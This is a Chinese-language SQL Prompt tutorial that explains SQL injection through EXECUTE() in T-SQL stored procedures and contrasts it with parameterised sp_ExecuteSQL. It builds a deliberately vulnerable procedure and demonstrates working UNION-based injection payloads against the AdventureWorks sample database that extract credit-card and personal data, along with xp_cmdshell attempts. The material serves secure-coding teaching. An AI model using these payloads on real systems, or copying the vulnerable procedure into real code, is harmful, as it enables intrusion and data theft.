SQL語法提示工具SQL Prompt使用教程:使用EXECUTE(“SQL腳本”)的風險
SQL Prompt根據(jù)數(shù)據(jù)庫的對象名稱、語法和代碼片段自動進行檢索,為用戶提供合適的代碼選擇。自動腳本設(shè)置使代碼簡單易讀--當開發(fā)者不大熟悉腳本時尤其有用。SQL Prompt安裝即可使用,能大幅提高編碼效率。此外,用戶還可根據(jù)需要進行自定義,使之以預想的方式工作。
有時不可避免地使用動態(tài)SQL,但是執(zhí)行直接從包含在執(zhí)行時更改的值的字符串直接創(chuàng)建的動態(tài)SQL是魯莽的。它可以允許SQL注入并且效率也不高。
SQL Prompt的代碼分析規(guī)則,BP013將提醒您使用Execute(),以字符串形式執(zhí)行批處理,該批處理通常是根據(jù)用戶輸入動態(tài)組裝的。使用此命令特別令人懷疑,因為它不允許您參數(shù)化值。
即使您對可以提交的值有完全的控制和監(jiān)督,并確定它們永遠不會來自最終用戶,還是最好使用sp_ExecuteSQL存儲過程對輸入進行參數(shù)設(shè)置。這不僅更安全,而且還可以幫助查詢優(yōu)化器認識到要執(zhí)行的SQL批處理已參數(shù)化,因此適合可重用的計劃。
無論是EXECUTE命令和sp_ExecuteSQL程序執(zhí)行批處理,而不僅僅是查詢。因此,即使您使用sp_ExecuteSQL,也很容易在存儲過程中引入SQL注入的漏洞。如果您錯誤地將SQL與參數(shù)連接在一起,它將仍然允許惡意用戶引入向該批處理添加額外語句的輸入。
SQL注入漏洞
想象一下,AdventureWorks開發(fā)人員看到此SQL并認為“Aha”,我可以提供任何列表作為參數(shù)。
SELECT * FROM person.person WHERE lastname IN ( 'Goldberg', 'Erickson', 'Walters' );
很好,因此在存儲過程中,他可以動態(tài)地匯編代碼
DECLARE @MyList NVARCHAR(50) = '''Goldberg'',''Erickson'',''Walters'''; EXECUTE ('SELECT * from person.person where lastname in (' + @MyList + ')');
因此,現(xiàn)在他可以提供任何人的姓氏列表并得到結(jié)果。但是,當代碼審查員指出可怕的可能性時,現(xiàn)實很快就會出現(xiàn):
DECLARE @MyList NVARCHAR(50)='''factor'') Select * from sales.creditcard --' EXECUTE ('SELECT * from person.person where lastname in ('+@myList+')')
當然,您可能會認為這有點學術(shù)性,因為SQL注入都是關(guān)于應用程序中非參數(shù)化查詢的。好吧,不;引入漏洞的不僅僅是應用程序。應用程序可以正確地參數(shù)化對存儲過程的調(diào)用,如果存儲過程本身存在漏洞,則可以成功利用漏洞。通過演示更容易解釋。
入侵AdventureWorks
假設(shè)AdventureWorks創(chuàng)建了一個新網(wǎng)站,而開發(fā)人員想要一個產(chǎn)品搜索屏幕,用戶在其中輸入搜索字詞,并且所有相關(guān)產(chǎn)品都顯示在列表中。是的,這似乎很合理。
向數(shù)據(jù)庫新手的開發(fā)人員分配了任務(wù)。該網(wǎng)站以名為WebUser的用戶名建立了連接池。團隊非常謹慎,并確保WebUser無法訪問網(wǎng)站上的任何敏感信息。它只能訪問網(wǎng)站上專門處理WebUser請求的存儲過程。這些存儲過程在模塊的當前所有者的上下文中運行,以訪問少量基表中的數(shù)據(jù)的受限部分。這樣做是為了允許諸如WebUser訪問必需的數(shù)據(jù)而不能直接訪問任何表。這有效地防止了來自應用程序的任何SQL注入訪問接口中的過程或函數(shù)以外的任何東西。一些數(shù)據(jù)庫設(shè)計人員更喜歡使用沒有登錄的用戶來提供此服務(wù)。
到目前為止,一切都很好。
創(chuàng)建過程并要求數(shù)據(jù)庫開發(fā)人員將其安裝到數(shù)據(jù)庫中之后,開發(fā)人員然后在應用程序中仔細地對存儲過程的調(diào)用進行參數(shù)化,以確保應用程序不會進行任何SQL注入。
這是程序。當然,這些評論是我的。我不想讓任何人認為這是一個好習慣。通過使用EXECUTE(),將撤消上述所有明智的預防措施。
/* we will now create a procedure that not only uses EXECUTE but also fails to check the contents of the string parameter passed to it*/ IF Object_Id('dbo.SelectProductModel') IS NOT NULL DROP procedure dbo.SelectProductModel; GO CREATE PROCEDURE dbo.SelectProductModel @queryString VARCHAR(255) WITH EXECUTE AS OWNER --to execute as the login who created this procedure AS--health warning!!! This is a demonstration of how not to do it EXECUTE ( 'SELECT name,summary,Wheel,Saddle,Pedal, RiderExperience FROM Production.vProductModelCatalogDescription WHERE ( name+summary LIKE ''%'+ @queryString+'%'' )') GO--health warning!!! This is a demonstration of how not to do it
使用動態(tài)執(zhí)行的代碼有時有很好的理由,但是這些幾乎總是涉及參數(shù)。在這種情況下,開發(fā)人員需要使用sp_ExecuteSql。最重要的是,應使用正確的約定將所有參數(shù)傳遞給它。在此示例中,沒有必要使用動態(tài)SQL,但如果已經(jīng)這樣做,則應該這樣做。
IF Object_Id('dbo.SelectProductModel2') IS NOT NULL DROP procedure dbo.SelectProductModel2; GO CREATE PROCEDURE dbo.SelectProductModel2 @queryString VARCHAR(255) WITH EXECUTE AS owner AS EXECUTE sp_ExecuteSQL N'SELECT name,summary,Wheel,Saddle,Pedal, RiderExperience FROM Production.vProductModelCatalogDescription WHERE (name+summary LIKE ''%''+@search+''%'')',N'@search Varchar(20)',@search=@QueryString GO
您可以在以下示例中嘗試此版本以證明它。我也會添加一些參數(shù)驗證,因為我想在晚上睡個好覺。有一些客戶希望搜索有關(guān)自行車的短語,但其中不包括“–”。
現(xiàn)在,為了說明這一點,我應該讓您(讀者)建立一個帶有搜索表單和網(wǎng)格的網(wǎng)站,以顯示結(jié)果。相反,我們將在SSMS中對此進行仿真,以便您可以嘗試并嘗試一下。
設(shè)置了惡意程序后,我們創(chuàng)建了無權(quán)執(zhí)行任何操作的網(wǎng)站用戶。然后,我們以該用戶身份執(zhí)行任務(wù),并查看通過顯著的數(shù)據(jù)泄露我們可以走多遠。
IF EXISTS (SELECT * FROM sys.sysusers AS S2 WHERE S2.name LIKE 'WebUser') DROP USER Webuser; -- We need to execute some of the following code with the restricted access rights of a -- typical web user that has only access rights to the stored procedure that accesses -- the table We then run part of the script as that user. CREATE USER WebUser WITHOUT LOGIN; /* we now assign it permission to call the stored procedure. It has no choice because this is being done in middleware on the web server. Every attempt to break into the database has to be done merely by changing the search term for Adventureworks bicycles. */ GRANT EXECUTE ON OBJECT::dbo.SelectProductModel TO WebUser; GRANT EXECUTE ON OBJECT::dbo.SelectProductModel2 TO WebUser; execute as user = 'WebUser' /* now we are working as WebUser. */
您必須想象我是一個外部入侵者,是通過網(wǎng)站而不是SSMS執(zhí)行此操作的(如果我可以訪問它,那么我已經(jīng)出門在外了。)我必須將搜索詞放入網(wǎng)絡(luò)表單中并研究結(jié)果。我對此數(shù)據(jù)庫一無所知。因為顯示了錯誤,我得到了幫助,并且可以在網(wǎng)站結(jié)果網(wǎng)格中看到結(jié)果。即使沒有錯誤,我也會受到輕微的抑制,因為從響應時間可以判斷很多事情。
我的第一個目標是找出表的名稱及其模式。如果我不了解他們,那么會經(jīng)歷很多嘗試和錯誤,這可能需要很長時間和耐心。然后,我需要知道列和數(shù)據(jù)類型。如果我能找到一種方法來做所有的事情,那我就可以回家了。
我們開始吧。
Execute dbo.SelectProductModel 'light'
這似乎行得通。讓我們通過添加表達式來檢查是否正確地將其參數(shù)化。我作為“WebUser”,想知道“始終正確”的技巧是否有效。我輸入搜索詞“輕”或1 = 1 –“
EXECUTE dbo.SelectProductModel 'light'' or 1=1 --' /* Msg 102, Level 15, State 1, Line 59 Incorrect syntax near '1'*/
服務(wù)器端錯誤肯定表明該漏洞存在。我需要添加一個括號嗎?
EXECUTE dbo.SelectProductModel 'light'') or 1=1 --'
這列出了所有產(chǎn)品型號。 如果您使用該過程的第二個版本SelectProductModel2,該查詢將不返回任何產(chǎn)品,因為它將搜索字符串'light')或1 = 1-,這根本不存在。
/* Can I do the union all trick? */ --I don't know the names of any tables so I'll use functions EXECUTE dbo.SelectProductModel 'ffff'') union all SELECT db_name(), @@Servername,User_Name(), ORIGINAL_LOGIN( ) , session_user,'''' --'
/* well that works and tells me that all columns are strings because I got no error in the UNION. Within the stored procedure, I'm A DBO!!! */ EXECUTE dbo.SelectProductModel 'ffff'') union all SELECT Object_schema_name(object_id), name, '''','''','''','''' from sys.tables --'
/* some interesting tables. I like that CreditCard table. This saves me a lot of time Where are the credit cards? */ EXECUTE dbo.SelectProductModel 'ffff'') union all SELECT Object_schema_name(t.object_id),t.name,c.name,'''','''','''' FROM sys.columns c INNER JOIN sys.tables t ON c.object_id=t.object_id WHERE t.name=''creditcard'' --'
/* this is taking candy from a baby. We know the columns and table now! List out the credit cards on the website grid and over to the dark side */ EXECUTE dbo.SelectProductModel 'ffff'') union all Select CreditCardID,CardType,CardNumber,ExpMonth,ExpYear,ModifiedDate from Sales.Creditcard --'
/* Can I use xp_cmdshell? */ EXECUTE dbo.SelectProductModel 'ffff''); Execute xp_cmdshell ''dir *.*'' --' /* No. maybe I can reconfigure */ EXECUTE dbo.SelectProductModel 'ffff''); execute sp_configure ''show advanced options'',1;reconfigure with override --' /* Msg 15247, Level 16, State 1, Procedure sp_configure, Line 105 [Batch Start Line 96] User does not have permission to perform this action. Msg 5812, Level 14, State 1, Line 100 You do not have permission to run the RECONFIGURE statement*/不要緊。我仍然可以通過網(wǎng)站獲取有效載荷?,F(xiàn)在我有了信用卡,我去找那個person.person表。某件事告訴我那里有個人數(shù)據(jù)。讓我們研究一下該表中的內(nèi)容。
EXECUTE dbo.SelectProductModel 'ffff'') union all SELECT Object_schema_name(t.object_id),t.name,c.name,is_nullable,max_length,system_type_id FROM sys.columns c INNER JOIN sys.tables t ON c.object_id=t.object_id WHERE t.name=''person'' --'
我認為,從這些數(shù)據(jù)來看,如果我將各列連接在一起,則可以一次性提取出來。
EXECUTE dbo.SelectProductModel 'ffff'') union all SELECT persontype,BusinessEntityID,Coalesce(Title+'' '','''')+FirstName+'' ''+Coalesce(MiddleName+'' '','''')+LastName+Coalesce('' ''+Suffix,''''),EmailPromotion,AdditionalContactInfo,Demographics FROM person.person --'
簡而言之,AdventureWorks的所有個人詳細信息和銷售現(xiàn)在都在走向黑暗網(wǎng)絡(luò)。當然,這很費力,因為我要通過網(wǎng)站上的POST獲取有效負載,并且可能不得不重新組裝來自位的數(shù)據(jù),但是即使是很小的破壞也會造成破壞!
最后整理一下
SELECT USER_NAME(); REVERT; SELECT USER_NAME(); IF EXISTS (SELECT * FROM sys.sysusers AS S2 WHERE S2.name LIKE 'WebUser') DROP USER WebUser; IF OBJECT_ID('dbo.SelectProductModel') IS NOT NULL DROP PROCEDURE dbo.SelectProductModel;
結(jié)論
將字符串作為SQL批處理執(zhí)行的技術(shù)本質(zhì)上沒有錯。但是,這是編程的安全領(lǐng)域。如果不參數(shù)化該字符串中的值,則可能很危險。有時,由于SQL語法的多變,您無法做到,而且也沒有解決方法,在這種情況下,您需要采取所有必要的預防措施來驗證輸入。出于這個原因,不鼓勵使用Execute(),因為它沒有參數(shù)化其輸入的方法,并且檢查sp_ExecuteSQL的使用,以確保已采取所有適當?shù)念A防措施來防止SQL注入,所以是一個好主意。
本文內(nèi)容到這里就結(jié)束了,感興趣的朋友可以下載SQL Prompt免費體驗~也可以關(guān)注我們網(wǎng)站了解更多產(chǎn)品資訊~
相關(guān)內(nèi)容推薦: